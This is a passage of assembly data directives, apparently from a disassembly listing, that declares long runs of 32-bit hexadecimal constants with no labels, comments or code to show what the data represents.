4DDCC4Ah, 0A9B1B905h dd 0DF88E4CDh, 0D0C267B6h, 3BA114F8h, 0AA782FDEh, 8F5DCCF2h dd 0A0F91B0Ah, 503DE9D8h, 0C4D4E217h, 0E4DFFB32h, 6D89470Fh dd 9CB47CB8h, 0F5AB9877h, 0F6867BEAh, 4CFA70D2h, 0CD200BF2h dd 64824258h, 3FC8C2B5h, 0B7EA36CBh, 425E74E3h, 0CC01ED39h dd 0A26BB708h, 0F144F29Fh, 74B0EDF0h, 1654A79Ah, 3BA50F45h dd 0B0D7AEA2h, 68DA047h, 0FC18AE7Eh, 0EE85862Eh, 1CD6D268h dd 0A33E9C43h, 0C36DE437h, 0F860C13Ah, 0A2444704h, 69A88A13h dd 0E68D8D94h, 8ADDF95Eh, 67652E76h, 78904F02h, 0FD444724h dd 0FE1E4A8Dh, 0D7E3B1ECh, 34D84476h, 4786AD95h, 0BBAFBFACh dd 1C62E562h, 39CA43D8h, 0C6CCBB4Eh, 0EC1D4E9Fh, 0F93C12DEh dd 1B284286h, 0A1A778B8h, 0DD874081h, 6706C83Ch, 6A05E4CCh dd 1C681D35h, 620C7A6Dh, 96FACD63h, 9C9B27CBh, 0AE4DAB2Ah dd 79EB37CCh, 6DE14F7Ch, 41FBDFCBh, 213B7AFAh, 5E0D03C7h dd 47C178DBh, 7BAE72E3h, 0CC8A866h, 8FAC76B0h, 0C3C3CF1h dd 0C4012D0Bh, 9A034EBBh, 7DC3FE6Ch, 0FFF72DA7h, 90FD81C3h dd 485EAAEDh, 3CA93D35h, 0C04155B9h, 245A2427h, 102F5215h dd 86BCFE6Fh, 520261CBh, 0DB5E52Bh, 0F9CABE25h, 35CCD72Fh dd 0AAC6051h, 0F7287910h, 70E9E546h, 9B81BDD3h, 6FF00B43h dd 984E18F8h, 0BA7D6493h, 0E6CB7725h, 6581403Fh, 6ADE545Bh dd 79376C8Fh, 42C0BF50h, 4ECC40DEh, 5DBA4A20h, 0C00DF244h dd 4A3BBCD5h, 0ECE7FBBCh, 6FC4BE88h, 0BCD40Fh, 648E6229h dd 0A896F69Eh, 2002EA6Dh, 397E9507h, 5E8AAF2Ah, 298108DCh dd 8219AF60h, 54D30346h, 659EA62Bh, 0FB5ADE03h, 0A279D105h dd 7642892Ch, 0D6C021A8h dd 0F191C345h, 87ABDB4Bh, 277E21h, 2EF3B0FAh, 9467A1BBh dd 0E755B1E0h, 261902B7h, 0BBBDAF59h, 9559DD7h, 0FB3DF285h dd 0D1B1AA66h, 5671A334h, 0AE6420FCh, 1B860571h, 0EC575745h dd 154F97AFh, 0F04DE269h, 1F4A1709h, 46E55E67h, 33E84B05h dd 77FF7F75h, 0F94CBF9Dh, 0B048BF78h, 0C3EA87FAh, 0E6A70860h dd 9F244C7Ah, 5C2BE226h, 42FD7B6Dh, 0B9C906E2h, 12953331h dd 63038E63h, 0F8079E19h, 72D58360h, 993DC55Dh, 6E3ADF62h dd 37C01344h, 0EC08B7AAh, 24F69C64h, 0C02382B2h, 0AC30E841h dd 3C62748Fh, 0F80D6A8Eh, 0D7509E1Eh, 0CD4E3F01h, 83B4513Eh dd 0D5410313h, 8B27661Ch, 88861E7Ah, 0AB8D360Eh, 2E57E731h dd 2D23BE8Eh, 0EAB1F524h, 6DBD50E8h, 9F89B313h, 204B2A6Bh dd 0DAE97485h, 9712B63h, 6E258AA4h, 8367F8F8h, 398BF481h dd 0DB35EE45h, 16BD4665h, 2BF1B11Eh, 497D81E1h, 0CDF07151h dd 3EF0874Ah, 0E99B738Bh, 0C713DFB4h, 2F726D53h, 0BD4E00A1h dd 83736C30h, 0BD97643Eh, 0F1FE2986h, 533AEA96h, 55D86498h dd 894DB80Dh, 0B5D923A3h, 0CC21DBD7h, 0C08DA11Eh, 1917B1F8h dd 45A38322h, 54EFC2A6h, 65DDE23Dh, 44578C2Eh, 65728F8h dd 5E8EAD4Ch, 7C867A8Dh, 0CB5784D0h, 0EFB4E207h, 0FE557760h dd 0FA2C33D6h, 151AB795h, 296D2F6Ch, 17AADCBAh, 0A734B27h dd 0B859EC8Eh, 0A4D40512h, 8499897Ch, 0BC8BA6C4h, 9EEDD967h dd 0FED39F54h, 0E515CC4Fh, 0B3EACBCBh, 360CFF9Bh, 6A8BA3ADh dd 93DEEA90h, 0EAA867B3h, 0C9D36289h, 45818CBAh, 9132D1E5h dd 0AA75BFE1h, 0B8C2B4Ch, 3E7C9543h, 0EC790160h, 0A109AA42h dd 8740B196h, 49489212h, 0BEC6A5FEh, 227A49E6h, 84C61F06h dd 0AF05509Eh, 0ADB0DD36h, 0A4F2C964h, 0CBF9AE6Dh, 957451C2h dd 50AE3DFCh, 1EA673E7h, 0D3EF2CCCh, 600751B4h, 60204F50h dd 43088387h, 0C8399DD9h, 12E0BA6Ah, 128D9F1Bh, 0DE1216EBh dd 0E195A840h, 8A5BCFE8h, 1BE163D2h, 75F5D8F3h, 0F21E722Eh dd 0F029F444h, 3F35B977h, 298656FBh, 247FE540h, 0BBC95527h dd 8FE8BD65h, 0A60B4CA4h, 32FF6D43h, 0C88F9A35h, 2DB2064Eh dd 5F31A864h, 0A27CC09Ch, 72FA480Eh, 38B9ABA0h, 9D52CB98h dd 14EF5367h, 2F25AEDEh, 33DCB186h, 38F95F9Ah, 7D3B4E74h dd 0CAE41410h, 0B39DF815h, 0E7BA9E8Dh, 0B212B213h, 0D87A23Ah dd 0F940CE99h, 4C72795Ch, 0A08C752Ah, 26A1F51Ch, 0EACA070Bh dd 3473B00Dh, 0F067B721h, 38B7F1F2h, 9EF05E2Ch, 0DB43A72Eh dd 9428A0BFh, 5370ED91h, 0A1327EBCh, 0A7EA88CBh, 0BDF24A87h dd 2A2A6274h, 7182C223h, 801BD1AFh, 71F6C9DAh, 38D4460Ah dd 0A2D2AAEDh, 0FC963794h, 867308F5h, 0C19D2E68h, 0BD4C7D6h dd 0E1030E39h, 0FDABA065h, 1850A1B0h, 5EF40E11h, 0B9D8B884h dd 0BC67564Bh, 1015DAB8h, 486D1EFFh, 0D2F585D2h, 3931640Ch dd 19674ACBh, 0AC495E5Dh, 7B43BDA0h, 30D68582h, 0CFC75E44h dd 8A40931Ah, 0DCAC16A3h, 0ECC1CEBFh, 0D58C3F2h, 1198C89Ah dd 9258A999h, 8FAF4859h, 3051ED82h, 98919299h, 57CDF748h dd 0F1693D6Ah, 3ECEADB0h, 9A06D0C9h, 0D5773CC9h, 0AC04C398h dd 199F799Ch, 0C12E41CBh, 0AECBEE9Ah, 0E8755897h, 1491E8A2h dd 70F46B1Ah, 0A1656D9Fh, 133374FEh, 0D82C4036h, 801833C3h dd 971D788Fh, 0D75980Dh, 40D46849h, 45B9B26Bh, 0AA83A1B8h dd 2607361Dh, 37A727D3h, 0FD3EB877h, 0D9C73D70h, 0E957A51h dd 21E7C49Eh, 342A3580h, 9E907037h, 0D757F153h, 60BC8C52h dd 0B2AAA0D2h, 0AC161C6Dh, 3514EB6Bh, 0B0133945h, 313785Bh dd 5A52C273h, 0AEE2075Bh, 0DA849732h, 0ABA2F9BAh, 0B5CA244Ch dd 4DE35B9h, 96569A28h, 46856D75h, 40432973h, 0D133C7B1h dd 0B5A40A19h, 8CF0D7D6h, 35DB6A9Bh, 0D7528B73h, 9492AEDDh dd 39A9D492h, 0CEF963F1h, 31386833h, 7EC96E7Ch, 96762D07h dd 8DB8DD31h, 0CF107A58h, 121EFBDCh, 0D653DEF3h, 730A7C95h dd 0B53B4FE8h, 8AF2E7CDh, 5A0E33F0h, 651BCD91h, 30BA76E9h dd 4F5A8625h, 0B87D412h, 90931785h, 0ABCBCF6Ch, 0F4391D39h dd 6CF5E61Ch, 0ACCEC31Ch, 73AA6F4h, 0F92EB3DCh, 9E865Ch dd 0BA3A6F8Dh, 32677E78h, 0FBDEE9E9h, 4D275B5Eh, 2166C478h dd 1F195AADh, 29BF39D4h, 306792F4h, 0A9D6F102h, 0B1AF9892h dd 5313D8A5h, 4B1B9428h, 6E71C9F3h, 0C01DC5C4h, 0B3EAA9E6h dd 0D225C10Ah, 40B6C89Ah, 44932589h, 0C250D973h, 9C50DB49h dd 0BD26E8DAh, 98365AE9h, 63B48150h, 651B17CFh, 93F604F9h dd 0E99E894Fh, 340DBC65h, 0AF5ECB31h, 78A6DF29h, 16E0454h dd 3100A98Fh, 47AE56DEh, 0C97F88B5h, 74291D5Ah, 0EEB190C1h dd 1E03B7DFh, 0F1DB303Ah, 386DEFA4h, 26AA2B11h, 265299CDh dd 5FA8689Ch, 339B382Dh, 9046B8E7h, 855EF036h, 0F2FE5658h dd 2DF6C63h, 878A5262h, 79EEF2D0h, 0C1CE1D9Ah, 81427054h dd 75D2022Ch, 0B3417535h, 3C6F532Ch, 13B56FD1h, 92BEC56Ch dd 0BA016355h, 0C5918B7Fh, 495304B2h, 63289732h, 0AE41B8CFh dd 709B88AAh, 934F66E8h, 0AE32E296h, 0BDC5C5F0h, 9CEF020Dh dd 0D188F376h, 0E4A06BD9h, 0A60AFA30h, 76828430h, 9CB2ADF4h dd 1667BB41h, 5198F8DBh, 259884Eh, 5001733Dh, 668C8E6Ah dd 9CCBED47h, 346DBF31h, 0E69D7806h, 88A36EBCh, 64A314B7h dd 26593BCh, 0ED2CCDE7h, 7BC37CD8h, 80B33F16h, 62206F20h dd 71C2F041h, 9029AA33h, 62440CB8h, 92D79303h, 211E992Bh dd 1B3C9B5Fh, 7D187D9Ah, 97040327h, 514630A2h, 0E5C621CAh dd 420C7353h, 95638FC5h, 714D2370h, 7FF2D34Eh, 1DA0D71Ch dd 0D99F6181h, 1B693492h, 15906527h, 7A066FC1h, 422C92B7h dd 7B135492h, 737ECFC4h, 0F45693A2h, 51BF72B4h, 42099584h dd 41EEA051h, 0DE816EBCh, 26B219CFh, 5A232194h, 0B09D3470h dd 9ED2F46Ah, 5AD61183h, 63F027BEh, 0DD3E9136h, 4245BECh dd 294E2BB7h, 0C2B85898h, 940DFA9Dh, 0C0A7237Fh, 9692123Bh dd 0F392BAF2h, 80D51749h, 7D1A18EAh, 53293F09h, 7B66C114h dd 0D56539E3h, 0EE1B625Dh, 2BAB0FA2h, 0FDFEC0EBh, 245C0AA8h dd 0EFE476C8h, 1F0D1B12h, 0A81D7FE9h, 79390F0Ch, 4D8E68E8h dd 0DE4EAF2Ch, 5B411B21h, 0F8414197h, 262ED2CEh, 71CD6A42h dd 0DB84F60Eh, 8103EFD7h, 0AB365FADh, 0E970938Ah, 0A5649A2Eh dd 644907D1h, 934C2E22h, 0B67851Fh, 17C44439h, 4F190475h dd 0EB488C39h, 4B32A12Ch, 20E9B3C2h, 685CB011h, 0C2661D5Eh dd 459F4E6Ch, 0CD21B0FAh, 0E11FC7F3h, 0F81D585h, 0DA1263D3h dd 0ACDF7934h, 4974DC43h, 46F4096Bh, 2B0A44E1h, 630E0540h dd 1E6127D4h, 48FDE805h, 4117653Dh, 6243B3E3h, 45EB8CDh dd 805F3EF3h, 53AB25B3h, 2377E14Fh, 54323DD5h, 39252280h dd 0B1F97BFCh, 994867Fh, 0EFF28215h, 0F60B24B2h, 7A79238Ah dd 0A55C4EBEh, 0B26C1EEAh, 0A2E6C624h, 0A8BEFA63h, 0E99AFEE8h dd 9A2190B6h, 0D80EBFFAh, 81992EBCh, 0C19E926h, 2495D2Eh dd 0C9C1A19Bh, 58E05AD2h, 0D4C83060h, 51D93EEAh, 53F5D633h dd 7EDAFE89h, 2A6A2A2Ch, 1F0B1425h, 0F07DB41h, 0AFF1D5F3h dd 3EDB2E80h, 31FBD6ACh, 0B664DA9h, 0F131FA20h, 0D33C0664h dd 0E7A82B5Eh, 0BECF292Eh, 0E48B48D6h, 7764049h, 744D7621h dd 4B2B2EC3h, 6B1C9336h, 7EAB6589h, 686F2C4Fh, 4B81AA6Ch dd 2A993C90h, 0FFA4CA63h dd 0ECB33225h, 0B2EB0305h, 754F2741h, 0A096F85Bh, 9F457F9h dd 36EEA1A1h, 0AD9077B6h, 0FDB4C58Bh, 52C87AC1h, 6CD03EAEh dd 29E8B5EEh, 0D69D1594h, 3E3F8D47h, 0DD502418h, 0BBA52C4Ch dd 0A6BFEF93h, 0CDA17675h, 0DE752807h, 0EEE14787h, 86C1D13Ah dd 62C1B9BDh, 11A1DAE7h, 127C1E5Fh, 2F83E3A1h, 7AFEEA48h dd 0C847BA99h, 7052C222h, 0FBFBCBB6h, 59336E36h, 300A61B7h dd 0D48E8F0h, 0DA699BC8h, 8FE7B054h, 22F168DAh, 0C95576B1h dd 8C06449Bh, 6FEA066Eh, 0C4E3FEE5h, 4BD16299h, 6FF5970Ah dd 2F1A9472h, 0FAD3091Eh, 736D71C4h, 1C85CEF8h, 0DDBEF979h dd 7C1F1808h, 962DA833h, 0B855479Ah, 72F04E00h, 0F56FC5A8h dd 0C2AA25DCh, 9FB3F5D8h, 34FBB8DDh, 62EADAEDh, 1FE5B364h dd 2DDDF886h, 29A46EDEh, 0D45A6CCCh, 95411336h, 883BCD5Bh dd 0DF54D4E8h, 698D6F1Eh, 9EAD1039h, 0CFB749ACh, 7FD55D36h dd 91EF8230h, 0CFDB4EF7h, 14BBBEB1h, 1B341FA0h, 0AFDF8090h dd 0DDFE64A6h, 0A486DB00h, 0F0FE536h, 0BB0A7F1Fh, 282D0C35h dd 116912F5h, 0DAE2F854h, 0BFC0FF8Ah, 728A7261h, 0BE8F037Bh dd 1C9D77F6h, 227EF2EDh, 5FE48B2Bh, 6A7612C4h, 995F3996h dd 178624EDh, 972AA3DEh, 0DB93127h, 94877968h, 38C55051h dd 40529CEDh, 0AE302A42h, 867D5CF6h, 0B61B2DE7h, 4A9BB055h dd 0F9F17870h, 1BAEB7A0h, 320ABD88h, 0D7A788E9h, 9031E167h dd 0A171B5C7h, 0DDF86DA2h, 22E1ECA0h, 4DB80388h, 0E60212Bh dd 0ED9DAA7Dh, 0A66833D4h, 84A64E3Ah, 28AF08B5h, 4BC9641Eh dd 0E6ADB33Ch, 0DF1AC171h, 92D84F17h, 0F743AFB1h, 0DB53274Ah dd 0AD22469Dh, 0B0DC1215h, 5D7CD07Eh, 0AA725083h, 0AB33803Ah dd 579783C8h, 0D237ABBEh, 0FC424CA9h, 983B2842h, 53825002h dd 59896E0Ch, 65A4A7FEh, 68EE1CF6h, 78F48BBDh, 1DCB22C0h dd 0F0B56Ch, 79BB454Eh, 25B45302h, 0C297D287h, 4BF98EF5h dd 46566299h, 0A246528Eh, 0B8367E6Eh, 0C2C2DF4Bh, 18223DE1h dd 0E36B17D2h, 5E437A70h, 0F5CF3442h, 463896B7h, 896989C9h dd 1B0F4CA4h, 0FE9B2EA5h, 0A1ECE15h, 3E81DB49h, 0E6CF983Fh dd 7AF1A66Bh, 3C936F78h, 8FB4C07Fh, 0BF8BF927h, 83D0953Bh dd 0B83E480Bh, 4A8D1696h, 72714837h, 63C375E2h, 4666B87Ch dd 0DA2EF82Eh, 74144897h, 5558F31Eh, 77B15F92h, 0EDCD2A2Dh dd 3C784CC5h, 4365317Eh, 7EDD49A8h, 0C6BA6D26h, 5E285002h dd 8FC2C1EEh, 0A02BD31Fh, 0B285169h, 7EC9F0B4h, 0AA1C4EADh dd 0E97747FEh, 8E12B239h, 3214D1D1h, 42E3A62Ah, 20CA82FCh dd 4499FCEBh, 0AA97609Fh, 0CE8159C9h, 91B6A3B6h, 289472Dh dd 9C7C945Ah, 0E6494AA6h, 10098988h, 0A76CD12Fh, 45CE7B4Ah dd 381F4214h, 59D47BEh, 0D01F845Fh, 48416020h, 503AA1A3h dd 0D82BFEBEh, 1390CEF3h, 0A78CAC82h, 0F7CE740Ch, 5BC59500h dd 0F337BC8Ch, 1CAB1271h, 4C4BB0BDh, 0D875E44Ah, 42432FEBh dd 36A969D2h, 1AC6EB84h, 0B9AD3AE2h, 0AE75C64Dh, 0CA6B5E81h dd 216B3428h, 0DE13404Ah, 84DB5C81h, 0EBFFE7FEh, 0D724425Bh dd 515F8B90h, 56549945h, 5F02C0F4h, 0CF4C550Dh, 0AC1A4326h dd 0C1E25AF6h, 112D119Ch, 0EFC884B7h, 0CE7E6F16h, 5CBC47D6h dd 40A60AD3h, 5266E340h, 17601E5Eh, 0A79F20E0h, 0CEA0A433h dd 0E80A7D43h, 97B1B359h, 2C13FDE0h, 0D324E7A8h, 477099C9h dd 0FD2BC78Dh, 566FE9B9h, 33F284D1h, 9FC0DAEEh, 0B5CEA863h dd 2F9591A0h, 45861894h, 2770162Ah, 0F29DE62Bh, 714391F0h dd 854DF646h, 7F46656Dh, 0DC4ED7C5h, 3ED18BD1h, 0C006D736h dd 35762F90h, 0A1FE0A31h, 0ABB89698h, 0EF381209h, 2237CF7Fh dd 6A3B3291h, 22338695h, 504AF7CAh, 3943D79h, 27B02F91h dd 6D1AA6FCh, 0F232F210h, 49A13A0Eh, 1329A501h, 4FFEC7B4h dd 0EDB4F228h, 0BC2AA1BFh, 979551B6h, 0B55D679Fh, 2AD1E9FBh dd 7136E541h, 0C38BAAA6h, 0E4E04E17h, 37E398D8h, 81C890BDh dd 61AF7C7Ah, 6545949Fh, 8D664C15h, 0A2C734D0h, 1E28063Ch dd 0D845DC14h, 0B1CC9CE9h, 58A13FFh, 9C7CE3E1h, 0B6C9BE84h dd 0E3A40384h, 0DF91ED04h, 5AC801C1h, 0C27AB4DFh, 804E7B2Dh dd 318C79B6h, 0EC4B27CBh, 0D2189121h, 0DCB14BFEh, 0A30FF32Eh dd 3977C5A5h, 0BF6BC272h, 0C0D7CA0Ch, 8E9A33Ah, 0C5AEF790h dd 2DFAEE0Ah, 6079F3A9h, 4BA3A628h, 0E93C9F1Fh, 3753E6F5h dd 3D60B408h, 9A80650Dh, 8EE299FDh, 98DC6DAEh, 0AE15869Eh dd 0E5E38EF1h, 938CFFE4h, 0ABAFB5B7h, 0B2803CF5h, 0C17B1404h dd 62A2F71Fh, 5A0AAFDFh, 0FDECE51Dh, 0F560262Bh, 0C48077ADh dd 21DE5D21h, 88828886h, 87D3E884h, 0F95B001Dh, 0B196958h dd 0E7552FD0h, 4FF645EDh, 0B729A714h, 23AD4EAAh, 0A151E14Ch dd 0A20AD8A5h, 0B650ED3Ch, 1E8EC166h, 274635E5h, 5B4E4C33h dd 0CF98551Ch, 0DE88D33Ch, 534B49C1h, 0FF8ACA42h, 0E4805B8h dd 97330765h, 81927E5Eh, 277CB7C4h, 38E3275h, 954FE604h dd 0EB7702A5h, 3DF81338h, 16BE96E5h, 949DD216h, 0A63EC74Ch dd 58243403h, 0B043DA4Dh, 47F37016h, 3DBDB08Bh, 0D72EE41Dh dd 8F57DEDBh, 7B89880Bh, 0C94C00C6h, 0F4A44DC7h, 4A106779h dd 0D01DCBCh, 0D3FF8F2Eh, 8829541Dh, 68AFA084h, 0B9EA4E37h dd 0F2A0CCE0h, 0CE8B41BAh, 7B8821FBh, 7BFF2B3Dh, 0F4A98773h dd 108906DDh, 6208A75Ah, 3EB683A3h, 0E6904A5Dh, 32749382h dd 0E6527E05h, 0FE5993CAh, 0A79D343Ch, 0A72E55D0h, 4A6C5AE4h dd 0C8F4F601h, 0EBF8320Ch, 90276A8Ch, 72AD0EA1h, 0F060510Eh dd 0C8172165h, 89F82CB9h, 21A81AC3h, 87281B91h, 0B02D4E63h dd 0C6D11270h, 0C8E12A7Bh, 0C987B2CEh, 8F994E0Dh, 20382A12h dd 0D268E061h, 0FC221255h, 51A52449h, 44022666h, 5757B42Eh dd 29B213A8h, 0A8AA71BFh, 33034256h, 972A7EC5h, 4C2CA25Eh dd 0A25B88C5h, 0C47419FFh, 85050A2Ch, 186614EEh, 640AF7A1h dd 5AD0446h, 0C8DD0D46h, 0D448618Fh, 1345107Eh, 71177CD2h dd 0F2863E97h, 755C9331h, 0F1B7C4BCh, 7C7A01B2h, 8C676783h dd 3561842Bh, 0A624D6A2h, 0C40D6CBh, 0DD1BDC1Dh, 0CFB0A406h dd 0BEB37525h, 0F3B40430h, 0D0499894h, 6D561A55h, 6471DEB2h dd 54159956h, 0AC599A80h, 261A732Eh, 0A1D5D2B8h, 883960EAh dd 8E4F993Dh, 0FAD036CCh, 0DA32F7CCh, 0B66E4B45h, 0DDCE1DF1h dd 0DE599FC4h, 8FD211B7h, 0B2D5B1AEh, 291B33B7h, 50A8E877h dd 16D2DCB0h, 7832CDE1h, 879372C5h, 0B62DD201h, 21071AC7h dd 8312C4D4h, 947649B1h, 4D0DA814h, 388767B5h, 935E06D4h dd 0A28D71B0h, 0E6DCCB8Ch, 0B4D5C4C8h, 222A4A27h, 46D5A009h dd 0DE1D1402h, 67D9BE58h, 4DD5B9B9h, 88E873D6h, 81B459E5h dd 0E5774C88h, 0E70304EFh, 4577D12Eh, 0C1F8B490h, 0EC493910h dd 5D83D6F0h, 30BF4C69h, 8A86C19Ch, 5F1C38F5h, 38AEFA7Eh dd 0E729CB97h, 0BAD70A8Eh, 0CD181C85h, 0D56C00A7h, 0DC2D110Bh dd 0E9BFE29Bh, 8918593Ah, 0C5CEA152h, 0C4823A18h, 0F3890BCAh dd 0EBB71709h, 0C00AF3F6h, 0F4781430h, 0F0AA08E8h, 5AE3B487h dd 0D5834F52h, 9B2DF871h, 0B9451B96h, 8537DB8Fh, 0DE806EFh dd 8D532029h, 589595FDh, 0D116058h, 12099562h, 0FB742FDEh dd 74B4ADC2h, 0C6289EE3h, 0D54CE181h, 7976905Ch, 953FD12Dh dd 79D71F6Dh, 8D1D4087h, 8706F0DCh, 79D8250Eh, 0E6796F7Dh dd 0EF4AB687h, 0D6FA95F0h dd 5D74E7EAh, 0F5C8E983h, 0BB07CB68h, 488DFB7Fh, 8AD38407h dd 0BAE73749h, 76CCD8A5h, 23B4E159h, 0F778A86h, 30BACE78h dd 0AF2316CFh, 9DEEE81Bh, 8C14A814h, 1148112h, 621671C4h dd 0D4B453C8h, 8205F548h, 0C4D8B5A5h, 88BC9845h, 88FBB518h dd 1A5BD3F7h, 268DBDDCh, 0B11A0EE9h, 0F3802B68h, 5AE57B22h dd 91DF7C4h, 0AE608196h, 0E46003D3h, 6836A3A9h, 0DC695A9Dh dd 4E942959h, 5103AAE6h, 0ADA6FAE0h, 0A86492FCh, 9E4DBADFh dd 3D7211D8h, 0FC2A173Dh, 8EFEFF06h, 0E1D0C7D0h, 62306578h dd 1118ABC9h, 0DF42D402h, 48EFC116h, 12209355h, 0A7D09305h dd 73A2EAD7h, 3640E3F4h, 94EB50D9h, 167B0097h, 0C66C3E50h dd 0D6F21B06h, 0AEE31A3Fh, 0D49BFFC2h, 2D09D74Dh, 74F9E471h dd 0EE94C7FAh, 0B73EE2AFh, 0ADFEC086h, 2AE9504Ah, 0C437E92Ch dd 0A3860E9Eh, 0EB1F10BCh, 6A5D3F8h, 0AE83E270h, 0BF33205Ah dd 9E4AE40Eh, 0A996D992h, 2C6537CEh, 39CE0774h, 3BDDC52Ah dd 692EF306h, 0F2A8CB76h, 7D11451Dh, 0E7735ACFh, 0B7D893D3h dd 6D10FFF5h, 0C1F5FE93h, 16D7AA1h, 0B82ACC71h, 8F44C561h dd 3DABBF2Eh, 0BE357BB2h, 3F82C3C2h, 2D8FD7C0h, 8C0D1402h dd 0F4E4BE5Bh, 0C34472Fh, 7101EFFFh, 4669CD36h, 0D4347C7Eh dd 1636C0CAh, 0DA95FAF2h, 1306E08Ch, 7941572h, 0A2457966h dd 1F5CAA56h, 59110260h, 0C860EF20h, 30D42043h, 2079944Dh dd 88759A35h, 0D75912E4h, 0BFFCF079h, 0B3789D7Ch, 0B6D97AF2h dd 0A5642D95h, 8F8A00F8h, 492DFF09h, 0DE99D041h, 0B7A7059Ch dd 0C7E92AAAh, 2A326E35h, 2EE82BEAh, 0B6A2B04Fh, 0CD60A150h dd 88D7A609h, 9731321h, 83AB2D57h, 0ABA5A330h, 4B5EE8C2h dd 53F95530h, 90DF8171h, 40C60A63h, 5A4443E2h, 0BE86B186h dd 7998B4D0h, 63CDEA74h, 0CCB7110Ah, 5B45087Dh, 0D8FB0ECFh dd 0BCD37FC2h, 0D54BAA82h, 0C0DE49DEh, 31CA9EADh, 22F202E4h dd 8CF61470h, 0E5EAD184h, 950D0394h, 0A9B43E1Fh, 1862E0D2h dd 58C39E3Ch, 97CCCB48h, 0D3B80143h, 472BF587h, 9E9A0744h dd 719BDAA6h, 0FAFF20A4h, 50D4CAB6h, 549A8388h, 6C0CE67Ah dd 0F7A76479h, 0A67D10DFh, 0A2A98ED4h, 0EE312E8Ah, 0BD4B0703h dd 21AD22A4h, 0AD8605E9h, 0B98CCFDAh, 33CBCA16h, 8B6088Ch dd 5C0E525Bh, 0AD95DDF3h, 54E14FB0h, 0A39634BDh, 1A2DD59Bh dd 54D9FE47h, 8AA3690Fh, 229CA963h, 0D2FE5F9h, 86D28D3Bh dd 0EDD7D268h, 15E8BF65h, 0A1F25317h, 8EF1BD05h, 239021C2h dd 0F49B1846h, 1EB95187h, 0C4617DC0h, 43674DFEh, 0AAA3406Ch dd 3E8FDC2h, 0B34CD705h, 2EB0E25Ch, 4A448D8Ah, 31182989h dd 2D4250EEh, 0DB7691F8h, 0A552876Fh, 0B5BDC83Ch, 0ACB1EE45h dd 95AD7C78h, 0CCAC824Dh, 0ECA9AA80h, 0B3C5D71Fh, 74A3BBD2h dd 5491016Fh, 3C13AF71h, 0D2021BC6h, 0C34C0B3Ch, 0B4C32D0Ch dd 7E950A6Ah, 84F5386Ch, 0A63731A6h, 0C583BBCFh, 0DC6664A7h dd 8D513634h, 0DC1E6FADh, 49265397h, 0A6A0D92Eh, 0A24AD673h dd 944E9640h, 71328B91h, 0E177BD9Dh, 0B23FBDF7h, 907CDF5Bh dd 141AFF91h, 6FB14CEh, 1CD19D5Ah, 0DF4BDEAEh, 0F616CE9Ah dd 0E3C3B3E8h, 8EC05AB9h, 0C467C797h, 424D6FADh, 0F07618B4h dd 2E4488D7h, 3DCD1FC4h, 0D413B625h, 0A3DF2865h, 9EFCD9E4h dd 7A6337Dh, 2BDD4865h, 0F74A76CDh, 0ED51946Eh, 900757D3h dd 7331E572h, 7A228F03h, 158D14F2h, 0AEE7AD63h, 8A63714Ch dd 237FF810h, 0E4C046Fh, 73A9D80Fh, 8839A0C0h, 0AD01EBE6h dd 0C0C5A6B7h, 0DB68EB28h, 0CF15BF22h, 2FCD806h, 3FD7A3E1h dd 6B0C0AC9h, 1E29FF55h, 2915C411h, 0E2CC3549h, 206FB36Bh dd 0A2FBFC64h, 90C4B61Ah, 141AD287h, 0D58F4DA2h, 4B9D3AB5h dd 88708B42h, 48BD52D2h, 0C3D4BC1Dh, 8219726Fh, 70BD2A32h dd 0D8962477h, 0C916EDC5h, 0B3C308ADh, 5312FB83h, 23A9B994h dd 0EB69A000h, 633AEA7Dh, 67E7A2A1h, 85032C74h, 0F72F0AE7h dd 0D181C6A6h, 2ABC184h, 8CD0BA6Fh, 91E8F696h, 9426E436h dd 0EEBD1706h, 3BA57B52h, 0CEDDA95Ch, 6087420Dh, 0EF3E2169h dd 833F6F02h, 4E7AA387h, 44E848A5h, 0AA5A920h, 0FA5BEBECh dd 0DF938688h, 0F62FE04h, 0D7CE5F18h, 9F439D2Ah, 0F3660991h dd 721E8A5Dh, 132C6206h, 88606963h, 0E2F0D37Eh, 5868E90Eh dd 7B6F4CDDh, 0CA9AC732h, 0F25BA743h, 7896114Dh, 3A64117h dd 0CF6E112Dh, 8EC958BFh, 12463697h, 1B4933Eh, 83DE6254h dd 14E332CBh, 2DBAE6B7h, 7EA14C43h, 9F8C7E5Bh, 9E0A0415h dd 0F8B0C622h, 249F739Fh, 30C66158h, 70CC7991h, 189C89EAh dd 67E776E5h, 84A20FF7h, 9B0AC273h, 0D5074C1h, 0F68B3FEDh dd 6EC289BDh, 3C4E58CFh, 374F6AEBh, 0AC45216Bh, 2051897Ch dd 5CC79B0Fh, 0C3B4FF81h, 515662EBh, 1C5C6B50h, 4031D051h dd 3D015152h, 26262389h, 3EFBE777h, 1B3B989Ch, 4C8714D7h dd 0BB59619Fh, 95452520h, 3D66EB4Bh, 83D13D0h, 0EF22122Ch dd 55D1D6F7h, 484CEE36h, 82A19176h, 4745C544h, 169CFD39h dd 112A2006h, 26E5FDD1h, 9D8E508Bh, 0CF6559D7h, 8C3E9D2Ch dd 0B953B705h, 0D8AFC141h, 8CE56254h, 0C8A244D2h, 0DE9E5CBEh dd 0FCAE57FCh, 3F77C11Ah, 13283CC2h, 0FA9164E2h, 0E6327EE2h dd 0C3BEEE37h, 0C134693Bh, 5DC54E07h, 37C41138h, 51D1A00h dd 2E901931h, 45879E6Dh, 0C2392FAAh, 0A1A142B8h, 8D71A82h dd 0F0331A2h, 7868C4C9h, 0ED462A2Bh, 0CD2641D1h, 9CA62C4Ch dd 0C29CA1B7h, 838D0382h, 0A641EF02h, 88D857F6h, 21795762h dd 3FBC4C5h, 341C3C98h, 0C0B746D3h, 62BF9E9Ah, 0CBC17E24h dd 0BBF052F1h, 0E716948Ch, 21B03985h, 6C589B58h, 2FED5408h dd 80A1438Fh, 4AF2DD2Ch, 68D085D9h, 69C3B039h, 0C2037E32h dd 0CA1B23A6h, 0FAD1DDB0h, 112065ACh, 9D97A23Eh, 5F3D2099h dd 696C0245h, 0B692D4CAh, 0F2D81BB5h, 8FC91886h, 0FD10D390h dd 18D5D816h, 0D1044ABEh, 0E7B5E990h, 3CBAD2DBh, 215FDFF1h dd 0CFD2AA77h, 0E5FC89FBh, 0EDB7C967h, 765034E2h, 0BC10F7B1h dd 0F432E4C7h, 1F167B18h, 93B0A2FBh, 0AE7BAA8Ch, 802019CDh dd 0F8B31335h, 976EBCF5h, 0E8C47E2Dh, 0FAD847A7h, 8CDE9389h dd 2760558h, 59162246h, 0D4AAC071h, 0B8BB6733h, 211B03C3h dd 0D5299CB4h, 